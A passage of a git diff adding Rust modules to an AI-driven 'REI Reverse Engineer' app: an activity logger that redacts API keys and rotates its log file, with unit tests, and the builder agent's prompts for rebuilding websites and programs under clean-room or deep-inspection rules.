e.contains("{\"brief\":null}")); + assert_eq!(choose_effort(None), Effort::High, "high by default, even for a quick question"); + assert_eq!(choose_effort(Some(Effort::Medium)), Effort::Medium, "an explicit setting wins"); + } +} diff --git a/desktop/crates/ai/src/rebuild/activity.rs b/desktop/crates/ai/src/rebuild/activity.rs new file mode 100644 index 0000000..2a2d3e8 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/activity.rs @@ -0,0 +1,551 @@ +//! What a run is doing, in more detail than the feed keeps: the action under way in words, the +//! last lines in memory for the screen, and every line in the project's `build-activity.log`. +//! +//! The screen reads only memory; the log is written by the run ([`ActivityFile`], from +//! [`super::feed::FeedLog`]), so a slow drive never holds up drawing. Everything written here went +//! through [`journal::scrubbed_line`]: commands can carry keys, and the log is a file people share. + +use super::*; +use craft_anything_engine::journal; +use craft_anything_engine::workspace::{ACTIVITY_LOG, ACTIVITY_LOG_OLD}; +use std::collections::VecDeque; +use std::io::Write; +use std::ops::Range; + +/// Lines kept in memory for the screen; the log has them all. +const KEPT_LINES: usize = 1000; +/// The longest line kept, in characters. +const LONGEST_LINE: usize = 600; +/// The longest thing an action names, in characters. +const LONGEST_OBJECT: usize = 200; +/// A log this long is set aside as `build-activity.old.log` and a new one started. +const LOG_LIMIT: u64 = 8 << 20; + +/// A kind of line, so a screen can colour it and a log can tag it. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum LineKind { + /// The workflow moved on to something new. + Stage, + /// A tool or program started. + Started, + Done, + Failed, + /// What the builder said. + Said, + Note, + /// What a program printed that isn't part of the conversation. + Output, + Problem, +} + +impl LineKind { + pub fn tag(self) -> &'static str { + match self { + LineKind::Stage => "stage", + LineKind::Started => "start", + LineKind::Done => "done", + LineKind::Failed => "FAIL", + LineKind::Said => "said", + LineKind::Note => "note", + LineKind::Output => "out", + LineKind::Problem => "ERROR", + } + } +} + +#[derive(Debug, Clone, PartialEq)] +pub struct ActivityLine { + /// How far into the run. + pub at: Duration, + pub kind: LineKind, + pub text: String, +} + +/// One thing the builder does, in parts, so a screen can use the tool's own title. +#[derive(Debug, Clone, PartialEq)] +pub struct Action { + pub tool: String, + /// How it reads, when it's a tool we have words for. + pub verb: Option<&'static str>, + /// What it's working on: a command, a file, an address. + pub object: Option, +} + +/// How a tool's calls read: the words, and the fields that say what it's working on. +struct ToolWords { + tools: &'static [&'static str], + verb: &'static str, + fields: &'static [&'static str], +} + +const TOOL_WORDS: &[ToolWords] = &[ + ToolWords { tools: &["Bash", "PowerShell"], verb: "Running", fields: &["command"] }, + ToolWords { tools: &["Read"], verb: "Reading", fields: &["file_path"] }, + ToolWords { tools: &["Write"], verb: "Writing", fields: &["file_path"] }, + ToolWords { tools: &["Edit", "MultiEdit"], verb: "Editing", fields: &["file_path"] }, + ToolWords { tools: &["NotebookEdit"], verb: "Editing", fields: &["notebook_path"] }, + ToolWords { tools: &["Glob"], verb: "Looking for", fields: &["pattern"] }, + ToolWords { tools: &["Grep"], verb: "Searching for", fields: &["pattern"] }, + ToolWords { tools: &["WebFetch"], verb: "Fetching", fields: &["url"] }, + ToolWords { tools: &["WebSearch"], verb: "Searching the web for", fields: &["query"] }, + ToolWords { tools: &["Task", "Agent"], verb: "Handing off", fields: &["description"] }, +]; + +/// The fields any other tool's input usually names its subject in. +const USUAL_FIELDS: &[&str] = &["path", "file_path", "file", "url", "target", "program", "query", "output_directory"]; + +/// `tool`'s call in parts. `roots` are left out of paths (the project's folders), so a line says +/// what it's working on rather than where the projects are kept. +pub fn describe(tool: &str, input: &Value, roots: &[PathBuf]) -> Action { + let words = TOOL_WORDS.iter().find(|w| w.tools.contains(&tool)); + let fields = words.map_or(USUAL_FIELDS, |w| w.fields); + let object = fields.iter().find_map(|f| input.get(*f)?.as_str().filter(|s| !s.trim().is_empty())).map(|s| { + let mut s = s.lines().next().unwrap_or_default().trim().to_string(); + for root in roots { + s = s.replace(&format!("{}/", root.display()), ""); + } + cut(&journal::scrubbed_line(&s), LONGEST_OBJECT) + }); + Action { tool: tool.to_string(), verb: words.map(|w| w.verb), object } +} + +impl Action { + /// In words, with `title` naming a tool there are no words for. + pub fn words_with(&self, title: impl Fn(&str) -> Option) -> String { + let head = self.verb.map(str::to_string).or_else(|| title(&self.tool)).unwrap_or_else(|| self.tool.replace('_', " ")); + match &self.object { + Some(o) if self.verb.is_some() => format!("{head} {o}"), + Some(o) => format!("{head}: {o}"), + None => head, + } + } + + pub fn words(&self) -> String { + self.words_with(|_| None) + } +} + +/// What a run is on now. +#[derive(Debug, Clone, PartialEq, Default)] +pub struct ActivityNow { + /// The latest action still going, and for how long. + pub current: Option<(Action, Duration)>, + /// How many others are going beside it. + pub others: usize, + /// The last one that finished. + pub last: Option, +} + +#[derive(Debug)] +struct Going { + call_id: String, + action: Action, + since: Instant, +} + +#[derive(Debug, Default)] +struct State { + lines: VecDeque, + going: Vec, + last: Option, + /// What the builder has said since the last full line. + said: String, +} + +/// When a run last had anything to say and what it's on, readable while drawing: its one lock is +/// never held over anything slow. +#[derive(Debug)] +pub struct Activity { + began: Instant, + last_ms: AtomicU64, + roots: Vec, + state: Mutex, +} + +impl Activity { + pub(super) fn new(roots: Vec) -> Activity { + Activity { began: Instant::now(), last_ms: 0.into(), roots, state: Mutex::default() } + } + + fn touch(&self) { + let ms = u64::try_from(self.began.elapsed().as_millis()).unwrap_or(u64::MAX); + self.last_ms.store(ms, Ordering::Relaxed); + } + + /// How long it has been since the last event. + pub(super) fn quiet_for(&self) -> Duration { + self.began.elapsed().saturating_sub(Duration::from_millis(self.last_ms.load(Ordering::Relaxed))) + } + + /// Take in one event. Returns the lines it added, for the log. + pub(super) fn record(&self, e: &RunEvent) -> Vec { + self.touch(); + let at = self.began.elapsed(); + let mut state = self.state.lock().unwrap_or_else(PoisonError::into_inner); + let mut new: Vec<(LineKind, String)> = Vec::new(); + if let RunEvent::Agent(AgentEvent::TextDelta { text }) = e { + state.said.push_str(text); + take_full_lines(&mut state.said, &mut new); + } else if !matches!(e, RunEvent::Agent(AgentEvent::Output { .. })) { + // Anything else ends what it was saying. + let rest = std::mem::take(&mut state.said); + let rest = rest.trim(); + if !rest.is_empty() { + new.push((LineKind::Said, rest.to_string())); + } + } + self.lines_for(e, &mut state, &mut new); + let lines: Vec = + new.into_iter().map(|(kind, text)| ActivityLine { at, kind, text: cut(&journal::scrubbed_line(&one_line(&text)), LONGEST_LINE) }).collect(); + for l in &lines { + if state.lines.len() >= KEPT_LINES { + state.lines.pop_front(); + } + state.lines.push_back(l.clone()); + } + lines + } + + fn lines_for(&self, e: &RunEvent, state: &mut State, new: &mut Vec<(LineKind, String)>) { + match e { + RunEvent::Step { text, .. } => new.push((LineKind::Stage, text.clone())), + RunEvent::Agent(a) => match a { + AgentEvent::TextDelta { .. } => {} + AgentEvent::Status { text } => new.push((LineKind::Note, text.clone())), + AgentEvent::Output { text } => new.push((LineKind::Output, text.clone())), + AgentEvent::ToolStarted { tool, .. } if is_checklist(tool) => new.push((LineKind::Note, "Updated its checklist".into())), + AgentEvent::ToolStarted { call_id, tool, input } => { + let action = describe(tool, input, &self.roots); + new.push((LineKind::Started, action.words())); + state.going.push(Going { call_id: call_id.clone(), action, since: Instant::now() }); + } + AgentEvent::ToolFinished { tool, .. } if is_checklist(tool) => {} + AgentEvent::ToolFinished { call_id, tool, ok, summary, .. } => { + let found = state.going.iter().rposition(|g| g.call_id == *call_id).map(|i| state.going.remove(i)); + let took = found.as_ref().map(|g| g.since.elapsed()).filter(|d| *d >= Duration::from_secs(1)); + let action = found.map_or_else(|| Action { tool: tool.clone(), verb: None, object: None }, |g| g.action); + let mut line = action.words(); + if let Some(d) = took { + line.push_str(&format!(" ({} s)", d.as_secs())); + } + let summary = summary.trim(); + if !summary.is_empty() { + line.push_str(&format!(": {summary}")); + } + new.push((if *ok { LineKind::Done } else { LineKind::Failed }, line)); + state.last = Some(action); + } + AgentEvent::ConsentNeeded { title, .. } => new.push((LineKind::Note, format!("Asking permission: {title}"))), + // A cost isn't said here: a resumed agent's figure can't be tied to one turn. + AgentEvent::TurnDone { input_tokens, output_tokens, .. } => { + state.going.clear(); + new.push((LineKind::Note, format!("The builder's turn ended ({input_tokens} tokens in, {output_tokens} out)"))); + } + AgentEvent::Error { message, remediation, log } => { + new.push((LineKind::Problem, message.clone())); + if let Some(r) = remediation { + new.push((LineKind::Problem, r.clone())); + } + if let Some(l) = log { + new.push((LineKind::Problem, format!("Details: {}", l.display()))); + } + } + }, + RunEvent::Note(shown) => new.push((LineKind::Note, format!("You added: {shown}"))), + RunEvent::Ask(r) => new.push((LineKind::Note, format!("Waiting for your answer: {}", r.title))), + RunEvent::Checked(c) => { + let result = if c.passed { LineKind::Done } else { LineKind::Failed }; + new.push((result, format!("Check {}: {}", c.check, c.note))); + } + RunEvent::Preview(url) => new.push((LineKind::Note, format!("Preview at {url}"))), + RunEvent::Finished { ok, message, paused } => { + state.going.clear(); + new.push((if *ok || *paused { LineKind::Stage } else { LineKind::Problem }, message.clone())); + } + } + } + + /// Note something about the log itself, for whoever is reading the lines. + pub(super) fn problem(&self, text: String) { + let at = self.began.elapsed(); + let mut state = self.state.lock().unwrap_or_else(PoisonError::into_inner); + state.lines.push_back(ActivityLine { at, kind: LineKind::Problem, text }); + } + + pub(super) fn now(&self) -> ActivityNow { + let state = self.state.lock().unwrap_or_else(PoisonError::into_inner); + ActivityNow { + current: state.going.last().map(|g| (g.action.clone(), g.since.elapsed())), + others: state.going.len().saturating_sub(1), + last: state.last.clone(), + } + } + + pub(super) fn len(&self) -> usize { + self.state.lock().unwrap_or_else(PoisonError::into_inner).lines.len() + } + + pub(super) fn lines_in(&self, range: Range) -> Vec { + let state = self.state.lock().unwrap_or_else(PoisonError::into_inner); + state.lines.iter().skip(range.start).take(range.len()).cloned().collect() + } +} + +fn is_checklist(tool: &str) -> bool { + tool == "TodoWrite" || tool == "build_checklist" +} + +/// Move the full lines out of what the builder has said so far. +fn take_full_lines(said: &mut String, new: &mut Vec<(LineKind, String)>) { + while let Some(end) = said.find('\n') { + let rest = said.split_off(end + 1); + let line = std::mem::replace(said, rest); + if !line.trim().is_empty() { + new.push((LineKind::Said, line.trim().to_string())); + } + } +} + +/// One line of text, however many it came as. +fn one_line(s: &str) -> String { + s.split_whitespace().collect::>().join(" ") +} + +fn cut(s: &str, most: usize) -> String { + match s.char_indices().nth(most) { + Some((end, _)) => format!("{}…", s.get(..end).unwrap_or_default()), + None => s.to_string(), + } +} + +/// The run's side of `build-activity.log`, appended to as it goes. Readable only by its owner: it +/// names the commands the builder ran. +#[derive(Debug)] +pub(super) struct ActivityFile { + root: PathBuf, + file: Option, + written: u64, + /// A write failed and that was said: the run isn't told again for each line. + told: bool, +} + +impl ActivityFile { + pub(super) fn new(root: &Path) -> ActivityFile { + ActivityFile { root: root.to_path_buf(), file: None, written: 0, told: false } + } + + fn open(&mut self) -> std::io::Result<&mut std::fs::File> { + let path = self.root.join(ACTIVITY_LOG); + if self.file.is_none() { + let mut options = std::fs::OpenOptions::new(); + options.create(true).append(true); + #[cfg(unix)] + std::os::unix::fs::OpenOptionsExt::mode(&mut options, 0o600); + let mut file = options.open(&path)?; + self.written = file.metadata()?.len(); + let (_, date, time) = journal::now_utc(); + let head = format!("--- REI Reverse Engineer {}: a run started {date} {time} UTC ---\n", env!("CARGO_PKG_VERSION")); + file.write_all(head.as_bytes())?; + self.file = Some(file); + } + self.file.as_mut().ok_or_else(|| std::io::Error::other("the log isn't open")) + } + + fn write(&mut self, lines: &[ActivityLine]) -> std::io::Result<()> { + if lines.is_empty() { + return Ok(()); + } + if self.written >= LOG_LIMIT { + self.file = None; + self.written = 0; + std::fs::rename(self.root.join(ACTIVITY_LOG), self.root.join(ACTIVITY_LOG_OLD))?; + } + let (_, _, time) = journal::now_utc(); + let text: String = lines.iter().map(|l| format!("{time} {:<5} {}\n", l.kind.tag(), l.text)).collect(); + self.open()?.write_all(text.as_bytes())?; + self.written = self.written.saturating_add(text.len() as u64); + Ok(()) + } + + /// Write `lines`. A log that can't be written never stops a run; the first failure is said + /// where the lines are read, and in the app's log. + pub(super) fn append(&mut self, lines: &[ActivityLine], activity: &Activity) { + if let Err(e) = self.write(lines) + && !std::mem::replace(&mut self.told, true) + { + log::warn!("couldn't write {ACTIVITY_LOG} in {}: {e}", self.root.display()); + activity.problem(format!("These lines can't be saved to {ACTIVITY_LOG}: {e}")); + } + } +} + +/// The last lines of a project's log, `skip` lines back from the newest, and how many it holds. +/// Reads at most the last megabytes of it, so a tool never loads a whole long log. +pub(super) fn read_log(root: &Path, skip: usize, limit: usize) -> Result<(Vec, usize), ToolError> { + use std::io::{Read, Seek, SeekFrom}; + const MOST_READ: u64 = 4 << 20; + let path = root.join(ACTIVITY_LOG); + let mut file = match std::fs::File::open(&path) { + Ok(f) => f, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok((Vec::new(), 0)), + Err(e) => return Err(ToolError::io(path.display(), e)), + }; + let size = file.metadata().map_err(|e| ToolError::io(path.display(), e))?.len(); + let start = size.saturating_sub(MOST_READ); + file.seek(SeekFrom::Start(start)).map_err(|e| ToolError::io(path.display(), e))?; + let mut bytes = Vec::new(); + file.read_to_end(&mut bytes).map_err(|e| ToolError::io(path.display(), e))?; + let text = String::from_utf8_lossy(&bytes); + // Reading from the middle of the file starts in the middle of a line. + let lines: Vec<&str> = text.lines().skip(usize::from(start > 0)).collect(); + let end = lines.len().saturating_sub(skip); + let from = end.saturating_sub(limit); + Ok((lines.get(from..end).unwrap_or_default().iter().map(ToString::to_string).collect(), lines.len())) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn started(tool: &str, input: Value) -> RunEvent { + RunEvent::Agent(AgentEvent::ToolStarted { call_id: format!("id-{tool}"), tool: tool.into(), input }) + } + + fn finished(tool: &str, ok: bool, summary: &str) -> RunEvent { + RunEvent::Agent(AgentEvent::ToolFinished { call_id: format!("id-{tool}"), tool: tool.into(), ok, summary: summary.into(), evidence_id: None }) + } + + #[test] + fn an_action_says_what_it_is_working_on() { + let roots = vec![PathBuf::from("/projects/x/app"), PathBuf::from("/projects/x")]; + assert_eq!(describe("Bash", &json!({"command": "cargo test\nmore"}), &roots).words(), "Running cargo test"); + assert_eq!(describe("Edit", &json!({"file_path": "/projects/x/app/src/main.rs"}), &roots).words(), "Editing src/main.rs"); + assert_eq!(describe("Read", &json!({"file_path": "/projects/x/capture/a.png"}), &roots).words(), "Reading capture/a.png"); + assert_eq!(describe("Grep", &json!({"pattern": "horse"}), &roots).words(), "Searching for horse"); + // Tools without words: the tool's own title, when the caller has one. + let ours = describe("web_site_open", &json!({"url": "http://x.test/"}), &roots); + assert_eq!(ours.words(), "web site open: http://x.test/"); + assert_eq!(ours.words_with(|_| Some("Open a website".into())), "Open a website: http://x.test/"); + assert_eq!(describe("Read", &Value::Null, &roots).words(), "Reading"); + assert_eq!(describe("rebuild_check", &Value::Null, &roots).words(), "rebuild check"); + } + + #[test] + fn it_knows_what_is_going_and_what_finished_last() { + let a = Activity::new(Vec::new()); + assert_eq!(a.now(), ActivityNow::default()); + a.record(&started("Bash", json!({"command": "npm test"}))); + a.record(&started("Read", json!({"file_path": "a.rs"}))); + let now = a.now(); + assert_eq!(now.current.unwrap().0.words(), "Reading a.rs"); + assert_eq!(now.others, 1); + a.record(&finished("Read", true, "fn main")); + a.record(&finished("Bash", false, "1 test failed")); + let now = a.now(); + assert!(now.current.is_none()); + assert_eq!(now.last.unwrap().words(), "Running npm test"); + let lines = a.lines_in(0..10); + assert_eq!(lines.iter().map(|l| l.kind).collect::>(), [LineKind::Started, LineKind::Started, LineKind::Done, LineKind::Failed]); + assert_eq!(lines[3].text, "Running npm test: 1 test failed"); + } + + #[test] + fn a_tool_left_going_ends_with_the_turn() { + let a = Activity::new(Vec::new()); + a.record(&started("Bash", json!({"command": "sleep 99"}))); + a.record(&RunEvent::Agent(AgentEvent::TurnDone { + backend: "x".into(), + input_tokens: 1, + output_tokens: 2, + cost_usd: Some(9.0), + cost_is_estimate: true, + })); + assert!(a.now().current.is_none()); + assert!(!a.lines_in(0..9).iter().any(|l| l.text.contains('$') || l.text.contains("9.0")), "no cost it can't attribute"); + } + + #[test] + fn the_builders_words_become_lines_as_they_arrive() { + let a = Activity::new(Vec::new()); + a.record(&RunEvent::Agent(AgentEvent::TextDelta { text: "Looking at ".into() })); + assert_eq!(a.len(), 0); + a.record(&RunEvent::Agent(AgentEvent::TextDelta { text: "it.\nNext ".into() })); + assert_eq!(a.lines_in(0..9)[0].text, "Looking at it."); + // Printed output doesn't break up what it's saying. + a.record(&RunEvent::Agent(AgentEvent::Output { text: "warning: x".into() })); + assert_eq!(a.len(), 2); + a.record(&RunEvent::Step { step: Step::Check, text: "Checking".into() }); + let texts: Vec = a.lines_in(0..9).into_iter().map(|l| l.text).collect(); + assert_eq!(texts, ["Looking at it.", "warning: x", "Next", "Checking"]); + } + + #[test] + fn the_screen_keeps_the_newest_lines_and_cuts_long_ones() { + let a = Activity::new(Vec::new()); + for i in 0..KEPT_LINES + 5 { + a.record(&RunEvent::Agent(AgentEvent::Status { text: format!("line {i}") })); + } + assert_eq!(a.len(), KEPT_LINES); + assert_eq!(a.lines_in(0..1)[0].text, "line 5"); + a.record(&RunEvent::Agent(AgentEvent::Status { text: "é".repeat(LONGEST_LINE * 2) })); + let last = a.lines_in(KEPT_LINES - 1..KEPT_LINES).remove(0); + assert_eq!(last.text.chars().count(), LONGEST_LINE + 1); + } + + #[test] + fn a_key_in_a_command_never_reaches_the_screen_or_the_log() { + let d = tempfile::tempdir().unwrap(); + let a = Activity::new(Vec::new()); + let mut file = ActivityFile::new(d.path()); + let key = "sk-ant-abcdefghijklmnop"; + for e in [ + started("Bash", json!({"command": format!("curl -H \"x-api-key: {key}\" https://x.test")})), + finished("Bash", true, &format!("echoed {key}")), + RunEvent::Agent(AgentEvent::Output { text: format!("using {key}") }), + RunEvent::Agent(AgentEvent::TextDelta { text: format!("The key is {key}\n") }), + ] { + let lines = a.record(&e); + file.append(&lines, &a); + } + let log = std::fs::read_to_string(d.path().join(ACTIVITY_LOG)).unwrap(); + assert!(log.contains("Running curl"), "{log}"); + assert!(!log.contains(key), "{log}"); + assert!(!a.lines_in(0..9).iter().any(|l| l.text.contains(key))); + } + + #[test] + fn the_log_keeps_every_run_and_sets_a_long_one_aside() { + let d = tempfile::tempdir().unwrap(); + let a = Activity::new(Vec::new()); + let line = |text: &str| ActivityLine { at: Duration::ZERO, kind: LineKind::Note, text: text.into() }; + let mut one = ActivityFile::new(d.path()); + one.append(&[line("first run")], &a); + drop(one); + let mut two = ActivityFile::new(d.path()); + two.append(&[line("second run")], &a); + let (lines, count) = read_log(d.path(), 0, 100).unwrap(); + assert_eq!(count, 4, "{lines:?}"); + assert!(lines[1].ends_with("first run") && lines[3].ends_with("second run"), "{lines:?}"); + assert!(read_log(d.path(), 1, 1).unwrap().0[0].contains("a run started"), "paged from the newest"); + + two.written = LOG_LIMIT; + two.append(&[line("after")], &a); + assert!(std::fs::read_to_string(d.path().join(ACTIVITY_LOG_OLD)).unwrap().contains("second run")); + let now = std::fs::read_to_string(d.path().join(ACTIVITY_LOG)).unwrap(); + assert!(now.contains("after") && !now.contains("second run")); + assert_eq!(read_log(&d.path().join("nowhere"), 0, 10).unwrap().1, 0, "no log yet is no lines"); + } + + #[test] + fn a_log_that_cannot_be_written_says_so_once_and_the_run_goes_on() { + let d = tempfile::tempdir().unwrap(); + let a = Activity::new(Vec::new()); + let mut file = ActivityFile::new(&d.path().join("nowhere")); + let line = ActivityLine { at: Duration::ZERO, kind: LineKind::Note, text: "x".into() }; + file.append(std::slice::from_ref(&line), &a); + file.append(std::slice::from_ref(&line), &a); + let problems: Vec<_> = a.lines_in(0..9).into_iter().filter(|l| l.kind == LineKind::Problem).collect(); + assert_eq!(problems.len(), 1, "{problems:?}"); + assert!(problems[0].text.contains(ACTIVITY_LOG)); + } +} diff --git a/desktop/crates/ai/src/rebuild/brief.rs b/desktop/crates/ai/src/rebuild/brief.rs new file mode 100644 index 0000000..3d00139 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/brief.rs @@ -0,0 +1,300 @@ +//! The builder's prompts: the first brief, per-stack and per-kind steps, follow-ups and +//! refinements. + +use super::*; +use craft_anything_engines::assets::{Catalogue, Shape, about_usd}; + +pub(super) const RULES: &str = "\ +Rules: +- Their request comes first. When it says how to build (a language, framework, engine, library or platform), build with exactly that, even where these instructions name something else: the stack given here is only the default for what the request leaves open. Don't switch away from what they asked for to get past a failing build or check; fix the build instead. +- Change files only inside app/. Everything else in the workspace is read-only evidence. +- Rebuild the layout, styling and behaviour yourself from the evidence. Don't copy logos, photos, brand names or long passages of text unless the person confirms they own the original or have permission (ask once with core_person_ask if it matters); otherwise use neutral placeholders: simple shapes or gradients for images, short sample copy for text. +- Use the core_person_ask tool (craft-anything MCP server) only for choices that really change the result. Give 2-4 short choices. Never ask about technical details you can decide yourself. +- Build what the person asked for. If part of it won't fit this version (for example online co-op, a whole game mode or another platform), ask with core_person_ask before leaving it out, with the smaller version as one of the choices; never drop it silently. +- Never start dev servers, watchers or anything that doesn't exit (npm run dev, npm start, vite, cargo watch). REI Reverse Engineer serves and checks the build itself. +- Finish with 3-5 plain sentences for the person: what you built, what differs from the original or is still unknown, and one idea for what to ask next. No code and no file paths in that summary."; + +/// How the builder works, for every kind: it leads, the tools answer with evidence, it tests its +/// build against the original itself, and nothing unknown is passed off as known. +/// How to work. The follow-up questions the tools may answer depend on the mode: in Clean room +/// nothing inside the original is looked at. +pub(super) fn steps(deep: bool) -> String { + let follow_up = if deep { + "capture another width or an opened state into a new folder under checks/, inspect a page or a bundle, look up a program's strings or functions by their exact names, read a game's settings or files." + } else { + "capture another width or an opened state of a website into a new folder under checks/, or ask the person with core_person_ask. Clean room: nothing inside the original is looked at, so never open, read, list, fetch, run or decompile its files, its folder, its pages' code or its program, with any tool." + }; + format!( + "How to work: you lead the investigation and the craft-anything tools answer your questions with evidence. +1) Study the evidence, overview first (the README and summaries before the details). Where it leaves a gap that matters to the result, ask a focused follow-up with the craft-anything tools instead of guessing: {follow_up} Don't repeat a call that already answered. Record each question the evidence doesn't answer yet with core_unknown_add (the question, what would settle it as probes, and how much it matters as severity), and when a later look answers it, close it with core_unknown_edit (status resolved, the resolution and the evidence ids that settle it); until then say in it what you did instead (an estimate, a placeholder or a question for the person). Missing evidence is never proof, so mark what you estimated. +2) Make a short checklist with TodoWrite: 3-7 steps in plain words the person can follow (no file names or jargon), each with a short activeForm such as \"Drawing the map\"; the person watches it live, so keep it updated as you go. +3) Build it in app/ and fix errors until the build succeeds. +4) Test it against the original with rebuild_check: it runs the same checks REI Reverse Engineer runs after your turn and lists what differs and what couldn't be compared. Fix those, build and check again until it says it would pass. +5) Before you reply, go through your checklist and core_unknowns_show once more: settle what one more look can settle, and say what's left in your summary." + ) +} + +/// What the builder is told for the stack (from `stacks.toml`). +pub(super) fn stack_steps(stack: &str, editor: Option<&Path>) -> String { + stacks::steps(stack, editor) +} + +/// The stack's steps, then those of each library the request asks for that works with it +/// ("use nextjs and shadcn" adds shadcn/ui's). +fn stack_and_library_steps(request: &str, stack: &str, editor: Option<&Path>) -> String { + let mut s = stack_steps(stack, editor); + for l in stacks::libraries_for(request, stack) { + s.push(' '); + s.push_str(&l.steps); + } + s +} + +/// The first message to the builder: the request, the evidence, the kind's goal and stack steps, +/// the shared rules, then the kind's own sections. `extra`: what the person also said. +/// Clean room: what the builder has of a website, all of it what a visitor sees. +const WEBSITE_FROM_OUTSIDE: &str = "capture/ holds what a visitor of the live site sees, recorded in Clean room: README.md (start here: its colours, fonts, spacing and the layout at each width), capture.json (design tokens with colours in hex, spacing and content widths, the layout measured at each width (`layouts`: page width, heading and text sizes, each section's padding, gap, content column and items per row), a layout outline with positions in CSS pixels, headings, links, form outlines, picture sizes and the visible text), screenshot-.png for each width (desktop, tablet and phone; open them all with the Read tool and look closely), and noise-.png where parts of the page change by themselves (white squares: carousels, videos, animations; they aren't compared, so match how they look, not the exact frame). Clean room: the page's HTML, CSS and scripts weren't read and must not be: don't open or fetch the original site or its files, and don't look at its code (the tools that would are off, and fetching it is refused). Work from these pictures and measurements.\n\n\ + Match it exactly, not roughly: take colours, fonts, text sizes, padding, gaps, corner radii and content widths from capture.json as exact values (make them the project's theme tokens rather than a library's defaults), use the same font families (or the closest free ones), change the layout where the screenshots at each width show it changing (sections stack, columns per row and the navigation switch), and never let the page scroll sideways on a phone. REI Reverse Engineer measures your build the same way at every width and tells you each difference."; + +/// Clean room: what the builder has of an app or a game. Nothing inside it was read. +const PROGRAM_FROM_OUTSIDE: &str = "capture/README.md says what we could see from outside. Clean room: nothing inside the program, its files or its folder was read, and you must not open, list, read, run or decompile anything there either (the tools that look inside are off, and reading its files is refused). Build from the person's request and description, the pictures in reference/ and, when capture/ has one, the picture of it running; ask the person with core_person_ask about anything you can't see."; + +pub(super) fn brief(kind: &dyn TargetKind, cx: &BriefCx, extra: Option<&str>) -> String { + let ws = cx.ws; + let m = &ws.manifest; + let target = match &m.target { + TargetRef::Website { url } => format!("the website {url}"), + TargetRef::Local { path } => format!("the program at {}", path.display()), + TargetRef::None => "nothing specific (build from the request)".into(), + }; + let capture = match &m.target { + TargetRef::Website { .. } if !cx.deep => WEBSITE_FROM_OUTSIDE, + TargetRef::Local { .. } if !cx.deep => PROGRAM_FROM_OUTSIDE, + TargetRef::Website { .. } => { + "capture/ holds what we recorded from the live site: README.md (start here: its colours, fonts, spacing, breakpoints and the layout at each width), capture.json (design tokens with colours in hex, spacing and content widths, the widths its CSS switches layout at (`breakpoints`), the layout measured at each width (`layouts`: page width, heading and text sizes, each section's padding, gap, content column and items per row), a layout outline with positions in CSS pixels, headings, links, form shapes, asset lists with its font files, and the visible text), screenshot-.png for each width (desktop, tablet and phone; open them all with the Read tool and look closely), noise-.png where parts of the page change by themselves (white squares: carousels, videos, animations; they aren't compared, so match how they look, not the exact frame), and page.html (the rendered HTML).\n\n\ + Match it exactly, not roughly: take colours, fonts, text sizes, padding, gaps, corner radii and content widths from capture.json as exact values (make them the project's theme tokens rather than a library's defaults), load the same font families, change the layout at the same breakpoints so each width matches its screenshot and `layouts` entry (sections stack, columns per row and the navigation switch where the original's do), and never let the page scroll sideways on a phone. REI Reverse Engineer measures your build the same way at every width and tells you each difference. + + Deep mode: every craft-anything tool is yours, so learn how it works, not only how it looks, before you build. capture/how-it-works.md already has what its JavaScript is made of (modules, routes, the requests it makes, the libraries it uses) and ten seconds of what the start page did (requests, console, WebSocket messages). The original is open in REI Reverse Engineer's private browser (web_site_open opens another page of it); ask web_page_show (its structure, scripts, network requests and console), web_listeners_list on a control (what clicking it runs, and where that code is), web_coverage_measure while you use it (which code runs and which requests it makes) and web_walkthrough_record to click or type through a flow and record every step; web_scripts_save, js_app_map and js_sources_restore read its code as an app. Rebuild the behaviour you learn in your own code; never paste the original's code into app/." + } + TargetRef::Local { .. } => { + "capture/README.md holds a first static look at the program (nothing was run) and, for a game, a list of its own files: maps, textures, models, sounds and settings. Read its settings and scripts for the real numbers (speeds, health, weapons, modes, controls) and open a few of its pictures with the Read tool to learn the style; never change anything in that folder. Deep mode: every craft-anything tool is yours, so learn how the parts the person cares about work before you build: core_target_open and core_target_triage first, then native_functions_list, native_strings_find and native_function_pseudocode for a program's code, managed_assembly_show and managed_members_list for .NET, java_* and android_* for Java and Android apps, js_app_map, js_sources_restore and js_electron_* for an Electron app, and game_archives_list and the other game_* tools for a game's files." + } + TargetRef::None => "There is no target to study.", + }; + let mut s = format!( + "You are the builder inside REI Reverse Engineer, rebuilding software for a person who doesn't code.\n\n\ + Their request: \"{}\"\nTarget: {target}\nYour working folder is the project workspace ({}).\n\n{capture}\n\n\ + What to build: {}.\n\nHow to build it, unless their request says otherwise: {}\n\n{}\n\n{RULES}", + m.request, + ws.root.display(), + kind.goal(), + stack_and_library_steps(&m.request, &m.stack, cx.editor), + steps(cx.deep), + ); + for section in kind.brief_sections(cx) { + s.push_str(&format!("\n\n{section}")); + } + if let Some(note) = pictures_note(ws, kind) { + s.push_str(&format!("\n\n{note}")); + } + if let Some(note) = start_files_note(m) { + s.push_str(&format!("\n\n{note}")); + } + if let Some(e) = extra.filter(|e| e.trim() != m.request.trim()) { + s.push_str(&format!("\n\nThe person also said: \"{e}\"")); + } + s +} + +/// The person's own files, when the project started in a folder that had them: the app to edit +/// in place, or material to start from. +pub(super) fn start_files_note(m: &craft_anything_engine::workspace::Manifest) -> Option { + if m.start_files.is_empty() && !m.app_in_root { + return None; + } + let names = m.start_files.join(", "); + let own = craft_anything_engine::workspace::OWN_NAMES.join(", "); + Some(if m.app_in_root { + format!( + "This project's app is the person's own folder, the project workspace itself, and it already has their files ({names}). Wherever these instructions say app/, use the workspace folder itself (./): work on their files in place, keep what works and change only what the request needs; never start over, delete or replace their work, and don't create an app/ folder. REI Reverse Engineer keeps its own records beside their files ({own}): leave those alone." + ) + } else { + format!( + "The person started this project in a folder of their own, which already had these files: {names}. They're material to start from: read them first (code, notes, pictures, designs), build on what they show and bring into app/ whatever the app uses. Leave the originals where they are, unchanged." + ) + }) +} + +/// Realistic assets with fal.ai: what each tool makes and costs (prices from the asset table, +/// for the picture model `image_model` names), the budget, where the engine loads them from, and +/// that every design is original. +pub(super) fn assets_note(ws: &Workspace, image_model: Option<&str>) -> String { + let folder = match game::Builder::from_stack(&ws.manifest.stack) { + Some(game::Builder::Unity) => "Unity loads them from Assets/, e.g. Assets/Generated/", + Some(game::Builder::Godot) => "Godot loads them from the project, e.g. assets/generated/", + Some(game::Builder::Unreal) => "save them under Content/Generated/ and import them with an editor 